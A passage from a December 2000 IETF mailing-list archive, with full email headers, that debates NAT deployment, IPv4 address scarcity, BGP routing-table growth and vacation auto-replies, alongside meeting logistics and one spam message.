[mailto:vjs@calcite.rhyolite.com] Sent: Wednesday, December 13, 2000 11:14 PM To: ietf@ietf.org Subject: Re: guidance (re: social event politeness) > From: Joel Jaeggli > Another common curtesy issue this thread has raised is vacation scripts... > > I've recieved 3 dozen or so responses from people on the mailing list who > have automated vacation scripts. Please if you must use a vaction script > on your mail either unsubscribe from the mailing list while you're gone, > use procmail to filter your lists so they don't get caught by your > vacation script, or just don't use vacation... It's far from all vacation mechanisms that do the evil deed. If you look at the headers, you'll almost certainly find a telltale line of the form: X-Mailer: Internet Mail Service (... All ordinary submissions with that black mark should be rejected. All requests sent to IETF list control addresses should be interpreted as unsubscribe requests. This would not purge the lists of the current abusers (those who insist on using that junkware and abusing the rest of us), but it would reduce their proliferation and encourage some to switch reasonable MUA's. If the IETF doesn't try to enforce minimal standards where it affects the business of the IETF, then the junkware vendors will never bother to fix their junk. Vernon Schryver vjs@rhyolite.com From owner-ietf-outbound Thu Dec 14 14:30:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA23861 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 14:30:02 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA21279 for ; Thu, 14 Dec 2000 14:19:30 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBEJJNCW31234; Thu, 14 Dec 2000 14:19:23 -0500 Message-Id: <200012141919.eBEJJNCW31234@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: smd@ebone.net (Sean Doran) Cc: ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-Reply-To: Your message of "Thu, 14 Dec 2000 07:55:48 +0100." <20001214065548.312A6898@sean.ebone.net> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-1279179072P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Thu, 14 Dec 2000 14:19:22 -0500 X-Loop: ietf@ietf.org --==_Exmh_-1279179072P Content-Type: text/plain; charset=us-ascii On Thu, 14 Dec 2000 07:55:48 +0100, Sean Doran said: > So, why are people deploying them? > > They are so awful, that it must only happen when people have NO OTHER OPTION. A quick analysis of most of the evils of the last 2 millenia or so would reveal that most were perpetrated for one of several reasons: 1) "God told me to do it". This includes evil by reason of mental defect. Examples: too numerous to mention... 2) "I didn't know better". Examples: Deforestation by the locals. 3) "I was just following orders". (only for orders from non-deities - see 1) Examples: Anything you've had to install because a VP saw an 8x11 glossy. 4) "It seemed like a good idea at the time". Examples: Deforestation by large corporations, anything you asked the VP for money for, but wasn't worth it but now it's an albatross you can't kill.... I haven't decided which of the four NAT should be blamed on. Probably all. -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-1279179072P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOjkdOnAt5Vm009ewEQLTjwCg+o/moKXiNaBLOxTKhhi+TH2hA1QAnRGs 2EysTpQd0cpWJMQhCAlKNgUP =59DE -----END PGP SIGNATURE----- --==_Exmh_-1279179072P-- From owner-ietf-outbound Thu Dec 14 14:40:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA26015 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 14:40:02 -0500 (EST) Received: from www3.aname.net (www3.aname.net [194.18.94.103]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22128 for ; Thu, 14 Dec 2000 14:22:55 -0500 (EST) Received: (from nobody@localhost) by www3.aname.net (8.9.3/8.9.3) id UAA08184; Thu, 14 Dec 2000 20:22:47 +0100 Date: Thu, 14 Dec 2000 20:22:47 +0100 Message-Id: <200012141922.UAA08184@www3.aname.net> To: ietf@ietf.org From: info@citycash.nu Reply-to: info@citycash.nu X-Mailer: Perl Powered Socket Mailer Subject: prova på X-Loop: ietf@ietf.org www.citycash.nu From owner-ietf-outbound Thu Dec 14 15:10:29 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA02390 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 15:10:02 -0500 (EST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA26900 for ; Thu, 14 Dec 2000 14:43:42 -0500 (EST) Received: from airborne.cisco.com (airborne.cisco.com [171.71.154.32]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id LAA19433; Thu, 14 Dec 2000 11:42:46 -0800 (PST) Received: from localhost.localdomain.cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by airborne.cisco.com (Mirapoint) with ESMTP id ACE01881; Thu, 14 Dec 2000 11:42:37 -0800 (PST) X-Mailer: emacs 20.7.1 (via feedmail 8 I); VM 6.87 under Emacs 20.7.1 Sender: sbrim@cisco.com From: "Scott Brim" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14905.8823.508905.120939@localhost.localdomain> Date: Thu, 14 Dec 2000 11:41:43 -0800 To: ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-Reply-To: References: <20001214065548.312A6898@sean.ebone.net> Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit I see we're about to embark on the 7th iteration of the NAT mail wars. I don't believe anything new is going to come out of it. Last night's arguments at the microphones were quoted from previous mail. Could you take it somewhere else? Is there an alt.nat group? From owner-ietf-outbound Thu Dec 14 15:20:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA04647 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 15:20:03 -0500 (EST) Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA27276 for ; Thu, 14 Dec 2000 14:45:24 -0500 (EST) Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP id ; Thu, 14 Dec 2000 19:45:13 +0000 To: Valdis.Kletnieks@vt.edu cc: smd@ebone.net (Sean Doran), ietf@ietf.org, iab@ISI.EDU Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Thu, 14 Dec 2000 14:19:22 EST." <200012141919.eBEJJNCW31234@black-ice.cc.vt.edu> Date: Thu, 14 Dec 2000 19:45:12 +0000 Message-ID: <9550.976823112@cs.ucl.ac.uk> From: Jon Crowcroft X-Loop: ietf@ietf.org i can just see it when the aliens land and ask how to connect to our infrastructure, we'll have to say oh we used to have an internet, but it lost something in the translation j. From owner-ietf-outbound Thu Dec 14 15:30:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA07760 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 15:30:05 -0500 (EST) Received: from breakaway.Stanford.EDU (breakaway.Stanford.EDU [171.64.20.202]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA27672 for ; Thu, 14 Dec 2000 14:47:22 -0500 (EST) Received: from localhost (hodges@localhost) by breakaway.Stanford.EDU (8.9.3/8.9.3) with ESMTP id LAA00644 for ; Thu, 14 Dec 2000 11:47:23 -0800 (PST) Message-Id: <200012141947.LAA00644@breakaway.Stanford.EDU> X-Mailer: exmh version 2.0.2 2/24/98 Subject: the pre-plenary video? To: ietf@ietf.org From: Jeff.Hodges@kingsmountain.com Reply-to: ietf@ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 14 Dec 2000 11:47:23 -0800 Sender: hodges@breakaway.Stanford.EDU X-Loop: ietf@ietf.org is the video shown at the beginning of the plenary last night available anywhere? who's volumetric 3-d network mapping stuff was that in there? and who's the pleasant loonies behind the vid anyways? thanks, JeffH From owner-ietf-outbound Thu Dec 14 15:40:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA09931 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 15:40:03 -0500 (EST) Received: from pt.com (pt.com [147.139.1.1]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA00018 for ; Thu, 14 Dec 2000 14:55:18 -0500 (EST) Received: from pt.com (localhost [127.0.0.1]) by pt.com (8.9.3+Sun/8.9.1) with ESMTP id OAA21411 for ; Thu, 14 Dec 2000 14:54:46 -0500 (EST) Received: from notes1.pt.com (notes1 [147.139.1.2]) by pt.com (8.9.3+Sun/8.9.3) with ESMTP id OAA21341; Thu, 14 Dec 2000 14:54:32 -0500 (EST) Subject: Re: NATs *ARE* evil! To: Dennis Glatting Cc: Sean Doran , ietf@ietf.org, iab@iab.org From: "Tony Dal Santo" Date: Thu, 14 Dec 2000 14:54:29 -0500 Message-ID: X-MIMETrack: Serialize by Router on notes1/PTI(Release 5.0.4a |July 24, 2000) at 12/14/2000 02:54:34 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org Dennis Glatting wrote: > On Thu, 14 Dec 2000, Sean Doran wrote: > > > So, why are people deploying them? > > Just to name two... > > 1) With NAT I ask for much smaller address spaces. Consequently, I don't > have to disclose my network details, deployment is less likely to be > delayed, and both my non-recurring and recurring cost is lower. > > 2) I don't have to renumber my entire enterprise should I change service > providers, rather only the Internet interface devices. What exactly is the state of the IPv4 "address pool"? I realize there is a PERCEIVED shortage, and this is usually the main motivation for NAT. But is there a real shortage? Are "reasonable" requests for addresses being denied? As for the renumbering hassle, if you have a small installation, renumbering shouldn't be all that difficult (especially when using DHCP). For large installations, doesn't the organization own the address pool, and take it with them when they change ISPs? I know this used to be the case. If it isn't an address issue, is it a routing issue? Is it that the routing tables/protocols/hardware can't handle the large number of routes? Are ISPs refusing to carry reasonable routes? Seems to me if the entire address space was broken up into subnets of 4096, there would be about 1 million routes. What is the current size? I think I remember seeing numbers on the order of 50,000. If there is a real shortage or routing problem, I understand the motivation to use NAT. There really wouldn't be a reasonable alternative. But I have yet to hear anyone claim that a reasonable request has been denied. Based on that, I tend to think most NAT installations are motiviated by other (and in my opinion less valid) issues such as "security". Tony Dal Santo From owner-ietf-outbound Thu Dec 14 16:10:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA17046 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 16:10:02 -0500 (EST) Received: from dgesmtp02.wcom.com (dgesmtp02.wcom.com [199.249.16.17]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA15555 for ; Thu, 14 Dec 2000 16:02:59 -0500 (EST) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-33 #42261) id <0G5K00K01SYJWR@firewall.mcit.com> for ietf@ietf.org; Thu, 14 Dec 2000 20:59:07 +0000 (GMT) Received: from pmismtp04.wcomnet.com ([166.38.62.39]) by firewall.mcit.com (PMDF V5.2-33 #42261) with ESMTP id <0G5K00JGXSYJGR@firewall.mcit.com>; Thu, 14 Dec 2000 20:59:07 +0000 (GMT) Received: from CONVERSION-DAEMON by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) id <0G5K00901SSWXR@pmismtp04.wcomnet.com>; Thu, 14 Dec 2000 20:59:06 +0000 (GMT) Received: from pmismtp04.wcomnet.com by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G5K00901SPC31@pmismtp04.wcomnet.com>; Thu, 14 Dec 2000 20:55:15 +0000 (GMT) Received: from omzexch007.mcit.com ([166.37.194.38]) by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G5K004PGSNLPG@pmismtp04.wcomnet.com>; Thu, 14 Dec 2000 20:52:35 +0000 (GMT) Received: by omzexch007 with Internet Mail Service (5.5.2651.58) id ; Thu, 14 Dec 2000 20:52:33 +0000 Content-return: allowed Date: Thu, 14 Dec 2000 20:52:31 +0000 From: "Iliff, Tina" Subject: RE: NATs *ARE* evil! To: "'Tony Dal Santo'" , Dennis Glatting Cc: Sean Doran , ietf@ietf.org, iab@iab.org Message-id: <492EB4A3F68CD411ABE800508B69362E14B431@RIPEXCH002.wcomnet.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-type: text/plain; charset=ISO-8859-1 X-Loop: ietf@ietf.org I could see valid cases for both reasons suggested below. Another reason from the customer point of view may be to lower costs. Tina Iliff -----Original Message----- From: Tony Dal Santo [mailto:tmd@pt.com] Sent: Thursday, December 14, 2000 1:54 PM To: Dennis Glatting Cc: Sean Doran; ietf@ietf.org; iab@iab.org Subject: Re: NATs *ARE* evil! Dennis Glatting wrote: > On Thu, 14 Dec 2000, Sean Doran wrote: > > > So, why are people deploying them? > > Just to name two... > > 1) With NAT I ask for much smaller address spaces. Consequently, I don't > have to disclose my network details, deployment is less likely to be > delayed, and both my non-recurring and recurring cost is lower. > > 2) I don't have to renumber my entire enterprise should I change service > providers, rather only the Internet interface devices. What exactly is the state of the IPv4 "address pool"? I realize there is a PERCEIVED shortage, and this is usually the main motivation for NAT. But is there a real shortage? Are "reasonable" requests for addresses being denied? As for the renumbering hassle, if you have a small installation, renumbering shouldn't be all that difficult (especially when using DHCP). For large installations, doesn't the organization own the address pool, and take it with them when they change ISPs? I know this used to be the case. If it isn't an address issue, is it a routing issue? Is it that the routing tables/protocols/hardware can't handle the large number of routes? Are ISPs refusing to carry reasonable routes? Seems to me if the entire address space was broken up into subnets of 4096, there would be about 1 million routes. What is the current size? I think I remember seeing numbers on the order of 50,000. If there is a real shortage or routing problem, I understand the motivation to use NAT. There really wouldn't be a reasonable alternative. But I have yet to hear anyone claim that a reasonable request has been denied. Based on that, I tend to think most NAT installations are motiviated by other (and in my opinion less valid) issues such as "security". Tony Dal Santo From owner-ietf-outbound Thu Dec 14 16:20:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA19641 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 16:20:02 -0500 (EST) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA15814 for ; Thu, 14 Dec 2000 16:04:14 -0500 (EST) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id GAA27847; Fri, 15 Dec 2000 06:03:51 +0900 (JST) To: "Michael W. Condry" cc: smd@EBONE.NET (Sean Doran), ietf@ietf.org, iab@iab.org In-reply-to: condry's message of Thu, 14 Dec 2000 08:27:07 PST. <5.0.2.1.2.20001214082650.00ad2438@FMSMSX63.fm.intel.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: NATs *ARE* evil! From: itojun@iijlab.net Date: Fri, 15 Dec 2000 06:03:51 +0900 Message-ID: <27845.976827831@coconut.itojun.org> Sender: itojun@itojun.org X-Loop: ietf@ietf.org >You do not consider IPv6 an option? ipv6 is working just fine even here at IETF49 venue, it's so much more convenient than IPv4, for couple of reasons. - DHCPv4 lease time is set to 10 minutes, and we keep changing IPv4 address. if I suspend my laptop, go to bathroom and resume, i'll have to reconnect all of IPv4 TCP sessions I had. we do not have the problem with IPv6. - we have no problem reaching IPv4 world with IPv6, we have IPv6-to- IPv4 translator here (http://www.kame.net/ietf49/). so, migrate to IPv6. you will be happier. itojun From owner-ietf-outbound Thu Dec 14 16:40:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA25880 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 16:40:01 -0500 (EST) Received: from twin.uoregon.edu (IDENT:root@twin.uoregon.edu [128.223.214.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA24497 for ; Thu, 14 Dec 2000 16:35:08 -0500 (EST) Received: from localhost (joelja@localhost) by twin.uoregon.edu (8.11.0/8.11.0) with ESMTP id eBELu7J25341 for ; Thu, 14 Dec 2000 13:56:07 -0800 X-Authentication-Warning: twin.uoregon.edu: joelja owned process doing -bs Date: Thu, 14 Dec 2000 13:56:07 -0800 (PST) From: Joel Jaeggli X-Sender: To: Subject: Re: the pre-plenary video? In-Reply-To: <200012141947.LAA00644@breakaway.Stanford.EDU> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org The pleasent loonies are from caida. Dr Claffy and co. joelja On Thu, 14 Dec 2000 Jeff.Hodges@kingsmountain.com wrote: > is the video shown at the beginning of the plenary last night available > anywhere? > > who's volumetric 3-d network mapping stuff was that in there? > > and who's the pleasant loonies behind the vid anyways? > > thanks, > > JeffH > > > > -- -------------------------------------------------------------------------- Joel Jaeggli joelja@darkwing.uoregon.edu Academic User Services consult@gladstone.uoregon.edu PGP Key Fingerprint: 1DE9 8FCA 51FB 4195 B42A 9C32 A30D 121E -------------------------------------------------------------------------- It is clear that the arm of criticism cannot replace the criticism of arms. Karl Marx -- Introduction to the critique of Hegel's Philosophy of the right, 1843. From owner-ietf-outbound Thu Dec 14 17:20:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA00968 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 17:20:02 -0500 (EST) Received: from btw.plaintalk.bellevue.wa.us (btw-xl1.plaintalk.bellevue.wa.us [206.129.5.130]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA29989 for ; Thu, 14 Dec 2000 17:12:04 -0500 (EST) Received: from localhost (dennisg@localhost) by btw.plaintalk.bellevue.wa.us (8.11.1/8.11.1) with ESMTP id eBEMB1C50619; Thu, 14 Dec 2000 14:11:01 -0800 (PST) Date: Thu, 14 Dec 2000 14:11:00 -0800 (PST) From: Dennis Glatting X-Sender: dennisg@btw.plaintalk.bellevue.wa.us To: Tony Dal Santo cc: Sean Doran , ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Thu, 14 Dec 2000, Tony Dal Santo wrote: > > Dennis Glatting wrote: > > > On Thu, 14 Dec 2000, Sean Doran wrote: > > > > > So, why are people deploying them? > > > > Just to name two... > > > > 1) With NAT I ask for much smaller address spaces. Consequently, I don't > > have to disclose my network details, deployment is less likely to be > > delayed, and both my non-recurring and recurring cost is lower. > > > > 2) I don't have to renumber my entire enterprise should I change service > > providers, rather only the Internet interface devices. > > What exactly is the state of the IPv4 "address pool"? I realize there is > a PERCEIVED shortage, and this is usually the main motivation for NAT. > But is there a real shortage? Are "reasonable" requests for addresses > being denied? > > As for the renumbering hassle, if you have a small installation, > renumbering shouldn't be all that difficult (especially when using > DHCP). For large installations, doesn't the organization own the > address pool, and take it with them when they change ISPs? I know > this used to be the case. > Ever renumbered and enterprise? DHCP is the cheap and easy part, and sometimes not so. Reconfiguring fielded lap tops is much harder (such as domain entries and VPN), as is making any configuration changes to servers, such as 24x7 ERP systems. The last time I renumbered an enterprise it was an enterprise of about 1000 nodes spread across seven states. It took a quarter to get the cheap and easy stuff done, which included travel to the smaller sites who had no IT staff. It took another quarter to get the harder stuff (active servers, take out hacks, etc.). And it took another quarter to clean up all of the stragglers (people who hard coded /etc/hosts, started old applications, turn on old machines, etc.). You can't get address pool space from ARIN for anything less than a /20, last I looked. > If it isn't an address issue, is it a routing issue? Is it that the > routing tables/protocols/hardware can't handle the large number of > routes? Are ISPs refusing to carry reasonable routes? Seems to me if > the entire address space was broken up into subnets of 4096, there > would be about 1 million routes. What is the current size? I think I > remember seeing numbers on the order of 50,000. > Current size as of a few months ago was 85k routes. > If there is a real shortage or routing problem, I understand the > motivation to use NAT. There really wouldn't be a reasonable > alternative. But I have yet to hear anyone claim that a reasonable > request has been denied. Based on that, I tend to think most NAT > installations are motiviated by other (and in my opinion less valid) > issues such as "security". > > Tony Dal Santo > > From owner-ietf-outbound Thu Dec 14 17:50:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA05136 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 17:50:01 -0500 (EST) Received: from mako1.telstra.net (mako1.telstra.net [203.50.0.28]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA03146 for ; Thu, 14 Dec 2000 17:34:38 -0500 (EST) Received: from tecra.telstra.net (ietf.207.137.75.21.tx.verio.net [207.137.75.21]) by mako1.telstra.net (8.9.2/8.9.2) with ESMTP id JAA23024; Fri, 15 Dec 2000 09:33:18 +1100 (EST) (envelope-from gih@telstra.net) Message-Id: <4.3.2.7.2.20001215092234.00b6db10@localhost> X-Sender: gih@localhost X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 15 Dec 2000 09:33:24 +1100 To: Dennis Glatting From: Geoff Huston Subject: Re: NATs *ARE* evil! Cc: Tony Dal Santo , Sean Doran , ietf@ietf.org In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Loop: ietf@ietf.org >> If it isn't an address issue, is it a routing issue? Is it that the >> routing tables/protocols/hardware can't handle the large number of >> routes? Are ISPs refusing to carry reasonable routes? Seems to me if >> the entire address space was broken up into subnets of 4096, there >> would be about 1 million routes. What is the current size? I think I >> remember seeing numbers on the order of 50,000. >> > >Current size as of a few months ago was 85k routes. correct. Now its pushing around 100,000, That's a relatively steep growth curve. (www.telstra.net/ops/bgp) The rate of growth in the table and the prefix length distribution in the table both point to the growth of small prefixes (/24) as a major factor in the growth of the routing table. There are strong indications that NAT is one factor behind this part of the BGP table. Now I'm not saying that this is either good or bad - what is evident is that much of the recent growth in the deployed Internet has happened behind NATs of various forms and the side effect is low levels of overall address space growth as reflected in the span of address space advertised in the BGP tables, but an increasing finer level of granularity in the routing table. There are of course other factors also at play which are causing the same outcomes, so NAT is not the only driver. So its not NATS *are* evil - NATs are very commonly used these days and we simply cannot deny their existence nor condemn their use as unworkable. NATs are a *compromise* - some folk find the compromise unacceptable - others do not. These days out there in the network as my bgp table sees it, a large number of folk find NATs a comfortable compromise. I won't speculate whether these folk are making a fully informed decision or not - the BGP table has no such data embedded in it that can be reliably interpreted. regards, Geoff From owner-ietf-outbound Thu Dec 14 18:00:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA06461 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 18:00:02 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA03338 for ; Thu, 14 Dec 2000 17:36:16 -0500 (EST) Received: from ietf.207.137.72.224.tx.verio.net (ietf.207.137.72.224.tx.verio.net [207.137.72.224]) by joy.songbird.com (8.9.3/8.9.3) with SMTP id OAA10134 for ; Thu, 14 Dec 2000 14:36:16 -0800 X-Authentication-Warning: joy.songbird.com: ietf.207.137.72.224.tx.verio.net [207.137.72.224] didn't use HELO protocol Message-Id: <5.0.1.4.2.20001214140435.043ba3f0@mail.bayarea.net> X-Sender: dcrocker@mail.bayarea.net X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Thu, 14 Dec 2000 14:36:18 -0800 To: ietf@ietf.org From: Dave Crocker Subject: Congestion control Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org For an industry that has been predicated on queuing theory that permits managing data traffic through moments of transient congestion, the idea that the best way to achieve Quality of Service is simply to throw excess bandwidth at the problem is quaint. On the other hand, that simplistic congestion control approach has some appeal for planning IETF meeting capacity. Rather than trying to carefully provide "enough" meeting room capacity for expected attendance, what would be the effect of reserving *too much* capacity for our meetings? For example, ensure that rooms are 50% larger than we think they need to be and make sure there are some extra rooms, in case we need to move an oversubscribed group to a larger room. The only two effects I can think of are: extra dollars and further restrictions on where we can meet. The latter is inevitable given our growth, the planning trick would merely accelerate the constraint. How bad would the extra cost be? Given the work we do in these meetings and the negative effect of overcrowding, is the extra cost worthwhile? d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Thu Dec 14 18:10:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA07739 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 18:10:02 -0500 (EST) Received: from keith.fenris.net (keith.fenris.net [158.222.0.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA03511 for ; Thu, 14 Dec 2000 17:37:47 -0500 (EST) Received: from robert.lloyd.com (keith.fenris.net [158.222.0.2]) by keith.fenris.net (8.10.1/8.10.1) with ESMTP id eBEMbjQ00494 for ; Thu, 14 Dec 2000 14:37:46 -0800 (PST) Message-Id: <5.0.2.1.0.20001214143719.00b056e8@127.0.0.1> X-Sender: brian@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 14 Dec 2000 14:37:36 -0800 To: ietf@ietf.org From: Brian Lloyd Subject: Re: the pre-plenary video? In-Reply-To: <200012141947.LAA00644@breakaway.Stanford.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 11:47 AM 12/14/2000, you wrote: >and who's the pleasant loonies behind the vid anyways? Pleasant loonies? Brian Lloyd brian@lloyd.com +1.530.676.1113 - voice +1.360.838.9669 - fax From owner-ietf-outbound Thu Dec 14 18:20:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA10926 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 18:20:02 -0500 (EST) Received: from aegir.EU.net (aegir.EU.net [193.242.90.19]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA03947 for ; Thu, 14 Dec 2000 17:40:57 -0500 (EST) Received: from aegir.EU.net (localhost.eu.net [127.0.0.1]) by aegir.EU.net (8.9.3/8.9.3) with ESMTP id XAA15754; Thu, 14 Dec 2000 23:40:52 +0100 (MET) Message-Id: <200012142240.XAA15754@aegir.EU.net> To: Dennis Glatting cc: Tony Dal Santo , Sean Doran , ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Thu, 14 Dec 2000 14:11:00 PST." From: James Aldridge Date: Thu, 14 Dec 2000 23:40:47 +0100 Sender: jhma@KPNQwest.net X-Loop: ietf@ietf.org Dennis Glatting wrote: > > If it isn't an address issue, is it a routing issue? Is it that the > > routing tables/protocols/hardware can't handle the large number of > > routes? Are ISPs refusing to carry reasonable routes? Seems to me if > > the entire address space was broken up into subnets of 4096, there > > would be about 1 million routes. What is the current size? I think I > > remember seeing numbers on the order of 50,000. > > > > Current size as of a few months ago was 85k routes. Today's global BGP table (at least from one view) contains approx. 95,000 entries (and it went over 100,000 for a short time yesterday). Take a look at http://www.mcvax.org/~jhma/routing/ for three years' history and a daily generated list of aggregation possibilities which could take the routing table down to a mere 65,000 or so entries. James From owner-ietf-outbound Thu Dec 14 18:30:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA13711 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 18:30:03 -0500 (EST) Received: from mage.qualcomm.com (mage.qualcomm.com [129.46.65.64]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA05737 for ; Thu, 14 Dec 2000 17:54:03 -0500 (EST) Received: from [199.106.117.178] (vpnap-g1-012002.qualcomm.com [10.13.12.2]) by mage.qualcomm.com (8.9.3/8.9.3/1.0) with ESMTP id OAA29074 for ; Thu, 14 Dec 2000 14:54:03 -0800 (PST) Mime-Version: 1.0 X-Sender: jwn2@mage.qualcomm.com Message-Id: X-Mailer: Eudora [Macintosh version 5.1-121400] X-PGP-RSA-Fingerprint: EA53 01A6 C076 F9C2 09E8 9480 645A 8857 X-PGP-DH-Fingerprint: 4F5E 56C9 BD4D 0227 331F 6AEE 9590 24F9 6FD7 04F8 Date: Thu, 14 Dec 2000 14:48:12 -0800 To: ietf@ietf.org From: John W Noerenberg II Subject: Terminal room lost and found Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org A couple of laptop power supplies, a mouse and a USB cable have been left behind in the terminal room. If you've missing an item like this, drop me a note, and I'll see if I have it. -- john noerenberg jwn2@qualcomm.com -------------------------------------------------------------------------- It's been said that a romantic is someone who never accepts the evidence of her eyes and ears. -- Greg Bear, Moving Mars, 1993 -------------------------------------------------------------------------- From owner-ietf-outbound Thu Dec 14 18:50:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA20353 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 18:50:04 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA11659 for ; Thu, 14 Dec 2000 18:22:08 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id SAA02483; Thu, 14 Dec 2000 18:22:09 -0500 (EST) Message-Id: <200012142322.SAA02483@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Scott Brim" cc: ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Thu, 14 Dec 2000 11:41:43 PST." 